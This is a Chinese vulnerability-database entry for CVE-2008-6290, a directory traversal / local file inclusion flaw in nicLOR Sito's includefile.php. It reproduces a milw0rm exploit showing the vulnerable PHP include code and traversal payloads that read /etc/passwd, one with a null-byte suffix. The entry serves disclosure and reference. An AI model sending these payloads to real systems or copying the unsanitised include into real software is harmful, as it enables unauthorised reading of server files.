nicLOR Sito 'includefile.php' 目录遍历漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116621 漏洞类型 路径遍历
发布时间 2008-11-04 更新时间 2009-03-10
CVE编号 CVE-2008-6290 CNNVD-ID CNNVD-200902-585
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/6990
https://www.securityfocus.com/bid/32111
https://cxsecurity.com/issue/WLB-2009030063
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-585
|漏洞详情
nicLORSito的includefile.php中存在目录遍历漏洞,当register_globals被激活或magic_quotes_gpc被中止时,远程攻击者可以借助page_file参数中的(参数值设置为'..'),包含和运行任意文件。
|漏洞EXP
# ------------------------------------------------------------
# Sito includefile in PHP Local File Inclusion Vulnerabilities
# ------------------------------------------------------------
# Discovered By StAkeR[at]hotmail[dot]it
# Download On http://www.niclor.net/prodotti/include_Sito_PHP/include_Sito_PHP.zip
# -----------------------------------------------------------

# File (includefile.php)
# Register Globals On
1. <? 
2. if (($page != "") or ($page == "home")) {
3.    include "pagine/$page_file";
4. } else {
5.    include "pagine/home.php";
6. }
7. ?>

# includefile.php?page=athos&page_file=../../../../../../etc/passwd

# File (index.php)
# Magic_Quotes_GPC
# index.php?id=../../../../../etc/passwd%00 

# milw0rm.com [2008-11-04]
|受影响的产品
nicLOR Sitoincludefile in PHP 0
|参考资料

来源:XF
名称:sitoincludefile-includefile-file-include(46338)
链接:http://xforce.iss.net/xforce/xfdb/46338
来源:BID
名称:32111
链接:http://www.securityfocus.com/bid/32111
来源:MILW0RM
名称:6990
链接:http://www.milw0rm.com/exploits/6990
来源:SECUNIA
名称:32556
链接:http://secunia.com/advisories/32556